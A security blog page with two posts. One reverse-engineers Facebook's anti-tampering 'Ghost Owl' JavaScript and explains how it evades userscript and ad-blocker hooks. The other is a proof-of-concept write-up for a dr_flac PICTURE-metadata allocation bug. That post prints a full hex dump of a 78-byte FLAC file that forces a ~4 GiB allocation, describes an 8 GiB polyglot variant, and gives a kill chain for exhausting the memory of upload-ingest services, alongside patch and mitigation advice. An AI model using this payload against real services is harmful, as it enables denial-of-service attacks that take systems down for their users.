Thursday, 24 September 2026

Inside Ghost Owl: Facebook's Anti-Tampering Immune System

# Inside Ghost Owl: Facebook's Anti-Tampering Immune System *Part 1 of The Facebook Comet Prelude Files · frankSx · frankhacks.blogspot.com* --- If you've ever installed a userscript on facebook.com, hooked `XMLHttpRequest` to watch GraphQL traffic, or run an ad blocker, there is a system running in the page whose entire job is to detect you, work around you, and in some cases silently repair the damage you did. Internally it logs under the FBLogger category **`ad_blocker_defense_ghost_owl`**. The module family is prefixed `GHL`, and it ships in the critical-path prelude bundle — it executes before virtually anything else on the page, before React, before the feed, before the module system has finished warming up. This post is a complete breakdown of the GHL system as it exists in production, de-minified from a live 326 KB Comet prelude bundle (SHA-256 `57d60f40…e69ec4`). To our knowledge no public documentation of this system exists beyond scattered observations that "Facebook detects ad blockers." The reality is considerably more sophisticated. ## 1. The module family Six modules make up the system, with this dependency structure: ``` GHLDetectionUtilsPreludeSafe (deps: ExecutionEnvironment, FBLogger) ├── GHLDetectionUtils (deps: GHLDetectionUtilsPreludeSafe, gkx) │ └── GHLNetworkLayer (deps: FBLogger, GHLDetectionUtils, │ GHLDetectionUtilsPreludeSafe, err, gkx, justknobx) │ └── getSameOriginTransport (deps: ExecutionEnvironment, FBLogger, │ GHLDetectionUtils, GHLDetectionUtilsPreludeSafe, │ GHLNetworkLayer, err, getErrorSafe, gkx, justknobx) ├── GHLServerJSParse (consumed by ServerJSPayloadListener) └── GHLTypenameRestore (consumed by GHLServerJSParse) ``` | Module | Role | |---|---| | `GHLDetectionUtilsPreludeSafe` | Low-level primitives: string normalization, clean-realm extraction, native restoration, behavioral shim detection. "PreludeSafe" = contains no dependencies that could themselves be late — it must run before the module system is fully operational. | | `GHLDetectionUtils` | The detection matrix: six predicates answering "has this native been tampered with?" | | `GHLNetworkLayer` | `getGHLXhr()` — obtains a trustworthy XHR constructor by prototype walking or clean-realm extraction. | | `GHLServerJSParse` | Parses ServerJS payloads defensively when `JSON.parse` can't be trusted. | | `GHLTypenameRestore` | Repairs `__typename` values in GraphQL payloads that content filters corrupt. | | `getSameOriginTransport` | The choke point: every same-origin XHR Facebook makes goes through here, so every request benefits from GHL recovery. | ## 2. The detection matrix The core of the system is a set of predicate functions in `GHLDetectionUtils`. Each checks whether a native function has been replaced or wrapped. The technique is identical across all of them — normalize `fn.toString()` and compare against the expected V8 native-code signature: ```js // de-minified from GHLDetectionUtils function isXHRModified(xhr) { return gkx("8869") ? true : typeof xhr == "function" && !( xhr.toString === xhr.toString.toString && normalize(xhr.toString()) === "function XMLHttpRequest() { [native code] }" && normalize(xhr.toString.toString()) === "function toString() { [native code] }" ); } ``` Three things are verified, and the second is the clever part: 1. **`fn.toString()` must serialize to the exact native signature.** If you replaced `XMLHttpRequest` with a wrapper, its source leaks. 2. **`fn.toString === fn.toString.toString`** — catches `Function.prototype.toString` spoofing. The classic evasion is overriding `toString` on your hook so it *returns* the native signature string. But that override is itself a function object, and the identity relationship between a function's `toString` and `toString.toString` only holds for the genuine `Function.prototype.toString`. Facebook checks the identity, not the output. 3. **`toString.toString()` must also be native.** Defense in depth against replacing `Function.prototype.toString` globally. Normalization collapses whitespace so reformatted natives still match: ```js // de-minified from GHLDetectionUtilsPreludeSafe function normalizeString(s) { return typeof s.replace == "function" ? s.replace(/\n/g, " ").replace(/\s+/g, " ") : null; } ``` ### The complete check inventory | Predicate | Target | Gate | Native signature checked | |---|---|---|---| | `isJSONParseShimmed()` | `JSON.parse` | `gkx("5415")` | *(via PreludeSafe)* | | `isXHRModified(xhr)` | `XMLHttpRequest` | `gkx("8869")` | `function XMLHttpRequest() { [native code] }` | | `isCanvasFillTextModified(ctx)` | `CanvasRenderingContext2D.prototype.fillText` | `gkx("9063")` | `function fillText() { [native code] }` | | `isStringShimmed()` | `String` | — | `function String() { [native code] }` | | `isCallShimmed()` | `Function.prototype.call` | — | `function call() { [native code] }` | | `isNativeStackTampered()` | error stack infrastructure | — | *(PreludeSafe)* | | `isXHRResponseGetterShimmed()` | XHR `response`/`responseText` property getters | — | *(PreludeSafe)* | The canvas check deserves emphasis: `fillText` is the canonical canvas-fingerprinting primitive. Both fingerprinting scripts *and* anti-fingerprinting extensions (which wrap `fillText` to poison readings) trip this check. Facebook is watching both sides. ### Behavioral detection Signature checks miss hooks that proxy through the real native. So the PreludeSafe module also ships behavioral variants: - `isJSONParseBehaviorallyShimmed()` — probes `JSON.parse` with inputs whose observable side effects differ under a proxy (e.g. reviver invocation order, receiver identity). - `isCallBehaviorallyShimmed()` — same idea for `Function.prototype.call`. - `isStringBehaviorallyShimmed()` — same for `String`. - `isBoxedParseEffective()` / `isWrappedParseEffective()` — test whether the *mitigation* (boxed/wrapped parsing, §5) actually neutralizes the shim, before relying on it. Detection results feed a decision, not a log-and-die: the system picks a parsing/transport strategy that routes around the tampering. ## 3. Recovery tier 1: prototype-chain walking `GHLNetworkLayer.getGHLXhr()` doesn't give up when it finds a hooked XHR. It walks the prototype chain (up to 5 levels) looking for an ancestor whose constructor still serializes as native: ```js // de-minified from GHLNetworkLayer function getGHLXhr() { try { if (gkx("8068") && isXHRModified(window.XMLHttpRequest)) { var MAX_DEPTH = 5; var proto = Object.getPrototypeOf(window.XMLHttpRequest); for (var depth = 0; proto != null && depth < MAX_DEPTH; depth++) { var s = normalize(proto.toString()); if (s != null && s.includes("{ [native code] }")) break; proto = Object.getPrototypeOf(proto); } if (proto != null && !isXHRModified(proto)) return proto; } // tier 2: clean realm if (gkx("25201") && justknobx._("5685") && isXHRModified(window.XMLHttpRequest)) { return getCleanRealmXHRConstructor(); } return null; } catch (e) { FBLogger("ghl").catching(e).mustfix("error while getGHLXhr"); return null; } } ``` This defeats the common hook pattern `class FakeXHR extends XMLHttpRequest` — the parent is still clean, so Facebook uses the parent. Only a hook that *replaces* the constructor without inheritance, or poisons the entire chain, forces tier 2. ## 4. Recovery tier 2: the hidden iframe armory When the whole chain is dirty, `GHLDetectionUtilsPreludeSafe` falls back to **cross-realm recovery**: create a hidden iframe, pull pristine natives out of its `contentWindow`. A fresh realm has fresh natives no page-level hook has touched. What makes this remarkable is *how* the iframe gets inserted. The prelude doesn't just call `document.body.appendChild(iframe)`. It checks **13 obfuscated gate keys in `window.Env`**, each unlocking a different DOM insertion technique: | Env key | Technique unlocked | |---|---| | `h4npx7qw` | `iframe.src = "about:blank#g"` | | `p9fk3wmn` | `srcdoc=""` variant | | `f2yq8vnd` | `document.createElement` path | | `t5nd8vqc` | `document.createComment` path | | `m8r3kp6w` | `document.createRange` path | | `b3xk8fqm` | `firstElementChild.before()` | | `q4v7nx3k` | `firstElementChild.after()` | | `r7c2m9xk` | `body.prepend()` | | `z2ht6xqp` | `body.append()` | | `k7q3nv9d` | *(flag — path selection)* | | `w6jt4rnq` | *(flag — path selection)* | | `w8kq3zmt` | `body.replaceChild()` | | `b7xr2qnf` | `body.replaceChildren()` | The insertion cascade, de-minified: ```js // de-minified from GHLDetectionUtilsPreludeSafe var span = canCreateElement ? document.createElement("span") : null; var div = canReplaceChildren ? document.createElement("div") : null; var span2 = canReplaceChild ? document.createElement("span") : null; var comment = canCreateComment ? document.createComment("") : null; var range = canCreateRange ? document.createRange() : null; if (span != null && "replaceWith" in span) { parent.appendChild(span); span.replaceWith(iframe); } else if (div != null) { div.style.display = "none"; parent.appendChild(div); div.replaceChildren(iframe); // keep div as removable handle cleanupHandle = div; } else if (span2 != null) { parent.appendChild(span2); parent.replaceChild(iframe, span2); } else if (comment != null && "replaceWith" in comment) { // ...comment.replaceWith(iframe) } // ...range-based insertion as final fallback ``` Why carry a dozen insertion strategies? Because **ad blockers and content scripts block specific DOM APIs**. Filter lists neuter `appendChild` for iframes; anti-fingerprint extensions strip iframes via MutationObserver; some extensions break `replaceWith` specifically. By cascading through `appendChild`+`replaceWith`, `replaceChildren`, `replaceChild`, comment replacement, and Range insertion, Ghost Owl ensures at least one path survives whatever the user's extension stack throws at it. The server selects which paths are armed per-deploy via the Env keys — the keys are 8-character random identifiers, rotated to prevent signatures. Once the clean realm exists, the module extracts: - `getCleanRealmXHRConstructor()` — pristine `XMLHttpRequest` - `getCleanJSONParse()` — pristine `JSON.parse` - `restoreNativeCall()` — reinstalls real `Function.prototype.call` in the main realm - `restoreNativeString()` — reinstalls real `String` - `restoreNativeXHRGetters()` — restores XHR response property getters - `isCallShimmedCrossRealm()` — cross-realm comparison check (gate `justknobx("2694")` + `gkx("5023")`, with the newer `justknobx("5589")` + `gkx("23984")` path) ## 5. The defensive parse chain `GHLServerJSParse.ghlParseServerJSPayload` is where detection becomes action. Given a ServerJS payload string, the full fallback chain (de-minified): ```js function ghlParseServerJSPayload(raw) { var env = window.Env; var armPreTransform = env && "v9k2mt7q" in env; var armBehavioral = env && "d3hf9km2" in env; var armTransportMark = env && "k8pq2mnb" in env; var armTypenameFix = env && "n5tq2wjb" in env; var payload = raw; if (armTransportMark && payload != null) payload = replaceTransportMarkers(payload); var shimmed = (armPreTransform && isJSONParseShimmed()) || (armBehavioral && isJSONParseBehaviorallyShimmed()); var result = null, ok = false; // attempt 1: boxed parse — isolate payload inside an object literal if (env && "c6mw9qtk" in env && shimmed && payload != null && (!("j6dw4ztx" in env) || isBoxedParseEffective())) { try { var boxed = JSON.parse('{"q7z":' + payload + "}"); if (boxed != null && boxed.q7z != null) { result = boxed.q7z; ok = true; } } catch (e) { ok = false; } } // attempt 2: wrapped parse — isolate inside an array literal if (!ok && shimmed && env && "x8kf2pw6" in env && payload != null && (!("j6dw4ztx" in env) || isWrappedParseEffective())) { try { var wrapped = JSON.parse("[" + payload + "]"); if (Array.isArray(wrapped) && wrapped.length === 1) { result = wrapped[0]; ok = true; } } catch (e) { ok = false; } } // attempt 3: clean-realm parse, optionally restoring String first if (!ok && shimmed) { try { if (env && "r4wt7kmj" in env && isStringBehaviorallyShimmed()) restoreNativeString(); var cleanParse = getCleanJSONParse(); var cleanOk = false; if (cleanParse != null) { try { result = cleanParse(payload); cleanOk = true; } catch (e) {} } // attempt 4: vendored json5 — no dependency on JSON.parse at all if (!cleanOk) result = json5.parse(payload + " "); } catch (e) { FBLogger("ad_blocker_defense_ghost_owl").catching(getErrorSafe(e)) .mustfix("Failed to parse ServerJS payload using json5"); result = JSON.parse(payload); // last resort } } else if (!ok) { result = JSON.parse(payload); } // post-parse: repair __typename values stripped by content filters if (armTypenameFix && result != null && payload.indexOf(typenameMarker) !== -1) GHLTypenameRestore.restoreTypenameValues(result, typenameMarker, restoreValue); if (result != null) GHLTypenameRestore.restoreAllTypenames(result, payload); return result; } ``` Design notes: - **Boxed and wrapped parsing** work because many `JSON.parse` shims only behave correctly at the top level (they post-process the result object). Nesting the payload inside `{"q7z":...}` or `[...]` changes what the shim sees and often bypasses naive result-poisoning. - **The trailing space** in `json5.parse(payload + " ")` works around a json5 end-of-input edge case. - **Four independent parse strategies** mean a hook author must defeat all of them — including a parser that doesn't touch `JSON.parse` at all. - Additional Env gates in this module beyond the 13 iframe keys: `v9k2mt7q`, `d3hf9km2`, `k8pq2mnb`, `n5tq2wjb`, `c6mw9qtk`, `j6dw4ztx`, `x8kf2pw6`, `r4wt7kmj` — 8 more, same 8-char random format. ## 6. The SponsoredData decoy Buried in `GHLDetectionUtilsPreludeSafe` is one of the strangest artifacts in the bundle: ```js // de-minified function makeSponsoredData() { var parts = ["Spon", "sored", "Data"]; // split to dodge static string matching var t = ""; for (var i = 0; i < parts.length; i++) t += parts[i]; return '{"node":{"s":{"__typename":"' + t + '"}}}'; } function repeatHex(len) { var s = "3f0a7c1b9e42d685"; while (s.length < len) s += s; return s.slice(0, len); } var sponsored = makeSponsoredData(); var decoyPayload = '{"data":' + sponsored + ',"edges":[' + sponsored + '],"require":[' + sponsored + '],"p":"' + repeatHex(4095) + '","extensions":{"is_final":true}}'; ``` A **synthetic GraphQL response**: fake `SponsoredData` nodes in `data`, `edges`, and `require` positions, 4,095 characters of hex padding, and the `extensions.is_final` terminator that marks the end of a real streamed response. The `__typename` string is assembled from fragments so static scanners don't find `"SponsoredData"` in the source. Combined with `GHLTypenameRestore` — which repairs `__typename` values that filter lists strip from *real* payloads — the picture is clear: Ghost Owl doesn't just defend against tampering, it actively **deceives content filters**, feeding them synthetic sponsored-content structures while restoring the markers they remove. This is an arms race conducted entirely inside the JavaScript layer, and Facebook has industrialized it. ## 7. The gate inventory Every GHL behavior is remotely switchable. The complete gate list observed in this bundle: **GK (gatekeeper) IDs:** `999`, `1174`, `5023`, `5163`, `5415`, `7742`, `8068`, `8869`, `9063`, `11588`, `15745`, `18719`, `20935`, `20936`, `23984`, `25201` **JustKnobx IDs:** `340`, `1590`, `2694`, `3323`, `4216`, `5589`, `5685` GKs are boolean feature gates (exposed via `gkx`, with exposure logging through `BanzaiLazyQueue` to the `gk2_exposure` endpoint — Meta logs *which gates your client evaluated*). JustKnobx are runtime-tunable knobs. Not all 23 are GHL-specific (some gate bootloader and scheduling behavior), but the GHL cluster is identifiable: `5415`, `8869`, `9063` (detection predicates), `8068`, `25201`+`5685` (recovery tiers), `5023`/`23984`/`2694`/`5589` (call-shim handling), `340`+`999` (XHR getter restoration), `3323` (transport selection). **Practical consequence:** a hook that works today may be detected tomorrow without any code shipping — Meta flips a gate server-side, per-cohort, per-percentage. ## 8. What this means for instrumentation authors 1. **Naive XHR/fetch hooks are detected and bypassed.** Your hook stays in place, but Facebook's traffic routes around it via a prototype ancestor or an iframe-realm constructor. You see *nothing* while believing you see everything — the worst outcome for instrumentation. 2. **toString spoofing is checked twice deep.** Returning the native signature from a custom `toString` fails the `toString === toString.toString` identity check. 3. **Prototype-inheriting hooks don't help.** Tier 1 walks up to 5 ancestors looking for a clean one. 4. **Hooking JSON.parse is a losing game.** Four parse strategies, one of which (json5) ignores `JSON.parse` entirely. 5. **The one thing Ghost Owl cannot do** is remove your hook from *your* realm or observe below the JS layer. Instrumentation at the network layer — Chrome DevTools Protocol, a service worker you control, a local proxy — is structurally immune to everything described here. Ghost Owl is a same-realm defense; don't fight it in the same realm. 6. **For defenders**, the design lessons are worth stealing: identity checks over output checks, behavioral probes over signatures, recovery over blocking, and gate-everything so the defense can evolve without deploys. ## 9. Verification Every excerpt above de-minifies cleanly from the captured bundle (hash in the series index). To reproduce: load facebook.com, view source, extract the inline script beginning `;/*FB_PKG_DELIM*/`, and search for `ad_blocker_defense_ghost_owl`, `getCleanRealmXHRConstructor`, or any Env gate key from §4. Gate arming varies by cohort and deploy; the code paths are constant. --- *Next: the token plumbing behind every authenticated Facebook request.*

Labels: , , , , , , , , , ,

Wednesday, 23 September 2026

"SIREN v3.0 — Four Gigabytes from Seventy-Eight Bytes: Precisely Weaponizing CVE-2026-32836 in dr_flac"

# SIREN v3.0 — Four Gigabytes from Seventy-Eight Bytes *Precisely weaponizing CVE-2026-32836, the dr_flac PICTURE metadata allocation bug — and correcting my own earlier model of it.* ## TL;DR A 78-byte FLAC file forces `malloc(0xFFFFFFFF)` — a ~4 GiB allocation — in any application using dr_libs `dr_flac.h` ≤ 0.13.3 with a metadata callback. That's the cover-art extraction path used by music platforms, podcast ingesters, and multimodal AI pipelines. One upload, one OOM. No auth, no user interaction, and the file is a *structurally valid* FLAC. ## Section 1: Eating Crow (the v2.0 Correction) When I shipped SIREN v2.0 in March, CVE-2026-32836 was fresh and only the summary line was public. I modeled it as *"PADDING blocks containing fake nested headers causing O(n²) recursive parsing."* It sounded plausible. It was **wrong on every axis**: - Wrong block: it's the **PICTURE** block, not PADDING. - Wrong mechanism: a **single unchecked malloc**, not recursion. - Wrong complexity: **O(1)** — one 4 GiB allocation — not O(n²). - Wrong scope: **dr_flac only**, and only the metadata-callback path. v3.0 exists to replace speculation with the verified finding from dr_libs issue #298 (credit: Ana Kapulica, who found it with libFuzzer) and the VulnCheck advisory. If you're running my v2 PoC against a patched parser and wondering why it does nothing — this is why. ## Section 2: The Bug, Line by Line `drflac__read_and_decode_metadata()`, PICTURE case, dr_flac.h v0.13.3: ```c // 6748: read attacker-controlled big-endian uint32 from the file metadata.data.picture.mimeLength = drflac__be2host_32(...); // 6750: allocate FIRST <-- the bug pMime = malloc(metadata.data.picture.mimeLength + 1); // 6756: bounds-check AFTER if (blockSizeRemaining < metadata.data.picture.mimeLength || ...) ``` The parser trusts a 32-bit length field enough to allocate from it *before* checking whether the block even contains that many bytes. `blockSizeRemaining` is capped at ~16 MB by the 3-byte FLAC block-size field, but the allocation doesn't care — `mimeLength` is a full uint32. The same mistake repeats at line **6772** for `descriptionLength`. And the kicker: the *same function* already does it correctly for `pictureDataSize` at line 6824. This is an ordering inconsistency — the right pattern existed 20 lines away. ### The gate The PICTURE body is only parsed when `onMeta != NULL` (dr_flac.h:6728). `drflac_open_memory()` / `drflac_open_file()` without a callback skip it entirely. So the vulnerable population is exactly: **everything that opens untrusted FLACs to look at their metadata** — thumbnailers, cover-art scrapers, tag readers, multimodal ingest. ### The edge case `mimeLength = 0xFFFFFFFF` wraps the `+ 1` to zero and you get a harmless `malloc(0)`. Use `0xFFFFFFFE`: allocation size `0xFFFFFFFF`, ≈ 4.00 GiB. ## Section 3: The Weapon The minimal reproducer fits in a tweet's worth of hex: ``` 00000000: 664c 6143 0000 0022 0000 0000 0000 0000 fLaC..."........ 00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000020: 0000 0000 0000 0000 0000 0000 8600 0020 ................ 00000030: 0000 0003 ffff fffe 0000 0000 0000 0000 ................ 00000040: 0000 0000 0000 0000 0000 0000 0000 .............. ``` That's `fLaC`, a 34-byte STREAMINFO, then a last-block PICTURE header declaring a 32-byte body whose `mimeLength` field is `0xFFFFFFFE`. The parser never gets to find out the body doesn't contain 4 GiB — it's already asked the heap for them. The full **SIREN v3.0 polyglot** (372 bytes) keeps the v2 lineage — valid FLAC identity plus the adaptive SSML Vorbis carrier probing for Google/AWS/Azure/OpenAI TTS backends — and adds a **dual-stage** trigger: both `mimeLength` *and* `descriptionLength` set to `0xFFFFFFFE`, ~8 GiB of allocation pressure from a single parse. ## Section 4: Expected Outcomes (Verified Differential) | Build | Input | Result | |---|---|---| | ≤ 0.13.3 + ASan | 78-byte file | `libFuzzer/ASan: out-of-memory (malloc(4294967295))`, origin frame `dr_flac.h:6750` | | ≤ 0.13.3 production | 78-byte file | ~4 GiB RSS spike per request; N concurrent uploads → OOM-killer → restart loop | | ≤ 0.13.3 production | v3 polyglot | ~8 GiB per parse | | Patched (`fefced4`,`4f5a4cd`,`663239a`) | any | bounds check fires before malloc; `open` returns NULL; zero allocation | The issue's GDB session is the cleanest causation proof I've seen in an advisory: breakpoint at 6750, overwrite `mimeLength` with 100 at runtime, resume — the line-6756 check fires (`24 < 100`) and the process exits normally. The allocation **is** the weapon; nothing else in the parse path is hostile. ## Section 5: Abuse Model — Why This Is a TTS/AI-Pipeline Bug, Not Just a Library Bug dr_libs ships as a single-header library. It gets vendored into binaries with no package-manager footprint, so dependency scanners don't see it. The realistic kill chain: 1. Service accepts audio uploads and extracts cover art/metadata on ingest (music platforms, podcast hosts, voice-note apps, multimodal RAG). 2. Ingest worker vendors dr_flac ≤ 0.13.3 and calls the `*_with_metadata()` variant. 3. Attacker uploads the 78-byte file. Worker allocates 4 GiB and dies — or gets OOM-killed mid-request. 4. Repeat with N parallel uploads: sustained memory exhaustion, autoscaler churn, real dollars burned, service degraded for everyone. For the SIREN threat model specifically: a multimodal AI pipeline that preprocesses audio uploads with metadata extraction is one curl command away from a downed ingest fleet. ## Section 6: Detection & Mitigation **Patch:** upgrade dr_libs past commit `663239a`. The fix moves the `blockSizeRemaining` check before both allocations — matching the `pictureDataSize` pattern that was already correct. **If you can't patch today:** - Cap ingest workers: cgroup `memory.max`, `ulimit -v`, or Kubernetes memory limits turn a host-down event into a single-request failure. - Alert on RSS spikes in audio-ingest services (>1 GiB per request is never legitimate for metadata parsing). - Audit for vendored dr_libs: grep your binaries for `drflac__read_and_decode_metadata`. **For developers:** if you fuzz nothing else, fuzz your metadata parsers with a length-mutating dictionary. This bug class — *allocate before you bounds-check* — is everywhere, and libFuzzer found this one on its own. ## Files Everything is in the [SIREN repo](https://github.com/FrankSx/Siren) under `v3/`: the generator, both PoC files, the vulnerable-target harness (`siren_v3_harness.c`), full documentation, and the manifest. --- *Proof-of-concept for authorized security research and defensive patch verification. Test only what you own. CVE-2026-32836 credit: Ana Kapulica.*

Labels: , , , , , , ,